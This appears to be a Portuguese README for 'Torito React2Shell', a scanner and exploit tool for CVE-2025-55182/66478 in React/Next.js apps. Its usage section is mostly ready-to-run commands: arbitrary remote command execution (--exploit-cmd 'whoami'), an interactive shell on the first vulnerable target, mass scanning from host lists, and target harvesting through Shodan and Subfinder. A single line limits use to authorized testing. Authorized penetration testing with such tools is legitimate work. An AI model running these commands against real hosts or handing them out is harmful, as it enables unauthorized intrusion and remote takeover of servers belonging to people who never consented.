Ferramenta de Scanner e Exploit Torito React2Shell (CVE-2025-55182 / 66478)

Requisitos

• Python 3.9+
• pip install -r requirements.txt
• Binário do Subfinder no PATH para --subfinder (instale via Homebrew brew install subfinder ou Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; projeto: https://github.com/projectdiscovery/subfinder)
• O uso do Shodan requer pip install shodan (já incluso nos requisitos) e uma chave: export SHODAN_API_KEY=... com créditos de consulta disponíveis

Uso

python3 torito_r2s.py --help

Opções

Exemplos

Sondagem segura (alvo único)

python3 torito_r2s.py -u https://target.com

Confirmação de PoC (redirecionamento de canal lateral)

python3 torito_r2s.py -u https://target.com --confirm

Exploração com comando personalizado

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

Shell interativo no primeiro alvo encontrado

python3 torito_r2s.py -u https://target.com --shell

Varredura de lista com exportações

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

Somente Shodan (requer chave e créditos)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

Somente Subfinder

python3 torito_r2s.py --subfinder target.com --confirm

Proxy (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

Pipeline via stdin

cat urls.txt | python3 torito_r2s.py --confirm

Notas sobre a saída

• A tabela mostra fingerprint (NX/AR), sondagem, confirmação e exploração.
• Os digests de exploração são decodificados em base64 quando possível; o modo verboso mostra prévias.
• JSON/CSV incluem o digest bruto e a saída decodificada (se houver).

Segurança

• Apenas para testes autorizados.
• A execução padrão é uma sondagem não destrutiva; a exploração é executada apenas com --exploit-cmd ou --shell.